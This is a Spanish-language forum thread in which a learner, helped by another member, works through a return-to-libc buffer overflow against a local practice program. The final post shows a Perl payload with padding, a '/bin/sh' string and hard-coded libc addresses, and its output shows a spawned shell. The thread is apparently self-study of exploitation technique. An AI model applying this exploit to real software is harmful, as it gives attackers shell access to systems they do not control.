Esta vez duda usando libc

Iniciado por pianista, 21 Enero 2012, 00:08 AM

0 Miembros y 1 Visitante están viendo este tema.

pianista

#10
Vale, entonces por esto deducimos, que lo que tiene que estar mal es el ret2libc por:

-Entiendo que si lo hago funcionar por ejemplo así: ./ret2libc 512 10

Tendría ya que pasarse metiendo caracteres puesto que supuestamente me rellenaría el buffer (igual que hacemos en perl) y me metería 10 direcciones de offset con lo cual debería ya estar sobreescribiendo la pila. (dado que en perl le estamos pasando 10 direcciones más y para nosotros sería como desplazarnos 10 respecto de donde está $esp)

Lo que obtengo es program exited with code 040, estoy buscando a ver qué significa ese código.

Correcto?

Saludos

EDITO: El código no sé si es correcto lo he encontrado en /include/asm-generic/errno.h

#define  EDEADLK     35 /* Resource deadlock would occur */
#define  ENAMETOOLONG   36 /* File name too long */
#define  ENOLCK      37 /* No record locks available */
#define  ENOSYS      38 /* Function not implemented */
#define  ENOTEMPTY   39 /* Directory not empty */
#define  ELOOP    40 /* Too many symbolic links encountered */


Me da que no va a ser eso, no?

Ivanchuk

Hola pianista,

Cita de: pianista en 11 Febrero 2012, 13:35 PM
-Entiendo que si lo hago funcionar por ejemplo así: ./ret2libc 512 10

Tendría ya que pasarse metiendo caracteres puesto que supuestamente me rellenaría el buffer (igual que hacemos en perl) y me metería 10 direcciones de offset con lo cual debería ya estar sobreescribiendo la pila. (dado que en perl le estamos pasando 10 direcciones más y para nosotros sería como desplazarnos 10 respecto de donde está $esp)

Lo codeaste vos ret2libc? Porque no entiendo bien que es lo que intenta hacer. Todos los valores de retorno (sc) se meten al principio mientras que deberian ir al final. La direccion que se saca con find_start() tampoco es muy fiable que digamos, en principio deberia darte la direccion de la ultima variable declarada, pero ni tampoco porque la funcion find_start no es __naked, o sea te diria que lo hagas a manopla con perl ya que te va a resultar mas facil. La sola complicacion, y tampoco es gran cosa, es meter el puntero hacia "/bin/sh".

Hace una cosa, hacete una cadena asi:

Código (bash) [Seleccionar]

print " " x 200 . "/bin/sh;" . "A" x FIXME . "SYSTEM()" . "EXIT()" . "TOBINSH";


Los 200 espacios antes de /bin/sh te dan un poco de juego cuando elijas la direccion al string /bin/sh, ya que system() no los tiene en cuenta. El punto y coma despues de /bin/sh te permite meter cualquier cosa despues. En FIXME mete un valor hasta llegar a hitear eip con la direccion "SYSTEM()", o sea ahi pone la direccion de system que encontraste.
Y en TOBINSH tenes que poner la direccion al principio de ese buffer en el programa vulnerable.

Cita de: pianista en 11 Febrero 2012, 13:35 PM
EDITO: El código no sé si es correcto lo he encontrado en /include/asm-generic/errno.h

#define  EDEADLK     35 /* Resource deadlock would occur */
#define  ENAMETOOLONG   36 /* File name too long */
#define  ENOLCK      37 /* No record locks available */
#define  ENOSYS      38 /* Function not implemented */
#define  ENOTEMPTY   39 /* Directory not empty */
#define  ELOOP    40 /* Too many symbolic links encountered */


Me da que no va a ser eso, no?


mm ni idea si son esos los codigos, lo siento.

Cita de: pianista en 11 Febrero 2012, 13:19 PM
Correcto

He metido por ejemplo como dirección 60606060 y me salta esa dirección en EIP y me queda también en la pila.

La dirección de sh la saqué por memfetch como puse arriba, usándolo en un programa de C que lo invocaba y esperaba X segundos antes para darte tiempo a usar memfetch.

Y las otras las saqué mediante gdb.

Saludos y gracias.

No conocia memfetch. La de system como hiciste? corriste vuln con gdb e hicistes un "x system" ?
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

pianista

#12
La de system la hice con el gdb:

p system

La dirección de la pila que da find_start es correcta, creo que esto es debido a que estoy probando en una ubuntu antigua aposta para que no me cambie el esp.

El ret2libc lo saqué del libro de shellcoders, y aunque hubo alguna cosa que tuve que tocar, sí que parecía que hacía correctamente su trabajo.

Probaré esto que me comentas, aunque me he perdido un poco, podrías explicarme que es lo que hace SYSTEM() y exit()

Me refiero, debería sustiturlo por las direcciones no???

Para que metemos /bin/sh como String?Ahhh entiendo que es para que System lo coja como parámetro?

Saludos

EDITO: Vale entendido, tendría que cambiarlo por las direcciones, de todas maneras, si me lo pudieras explicar un poco más para tontos xD


Ivanchuk

Asi es, lo de system/exit/tobinsh es para que lo reemplaces con las direcciones y le des al FIXME hasta que veas que sobreescribiste con la dir de system el eip.

Cita de: pianista en 12 Febrero 2012, 21:21 PM
Para que metemos /bin/sh como String?Ahhh entiendo que es para que System lo coja como parámetro?
Sip, cuando llamas a system le tenes que pasar un puntero a un string y para eso vas a tener que buscar la direccion de argv[1] en vuln.
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

pianista

Ahhh ok.

Una duda, y entonces porque en ret2libc no lo están pasando???
(Bueno también menuda pregunta voy a hacer si ni tú ni yo hemos implementado eso xD)

El ret2libc lo corregí respecto al libro según indicaba aquí (era obvio que faltaba eso):
http://shellcoders.blogspot.com/2010/08/chapter-2-using-exploit-pp-31-38.html

Ahh y el uso de memfetch:

http://shellcoders.blogspot.com/2009/05/using-memfetch-page-37.html

Saludos y gracias por tu ayuda Ivanchuk, la verdad es que la idea de volver por ret2libc conceptualmente la tengo asimilada, el problema era que quería probarla, pero vamos me está dando tanto la lata, que lo mismo me paso ya a experimentar con los juegos con los format string

pianista

#15
Dios Ivanchuk!

Lo logré!!!!

pianista@pianista-desktop:~ $ BUF=`perl -e 'print " " x 200 . "/bin/sh;" . "A" x 516 . "\x80\x0d\xed\xb7" . "\xf0\x68\xec\xb7" . "\xbe\xc7\xfb\xb7"'`
pianista@pianista-desktop:~ $ ./victim $BUF
sh-3.2$



Muchísimas gracias.

Ya te marearé a partir de ahora con los format Strings :)

Saludos!

PD:Lo que sigo sin entender son los 200 espacios de después del /bin/sh

Ivanchuk

haha felicitaciones!! ya estas listo pianawan ;-)

Los 200 espacios te sirven en caso de que la direccion al string /bin/sh cambie un toque, el exploit te va a seguir funcionando. Es decir, que le pases "  /bin/sh" o "         /bin/sh" a system(), el resultado es el mismo.
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org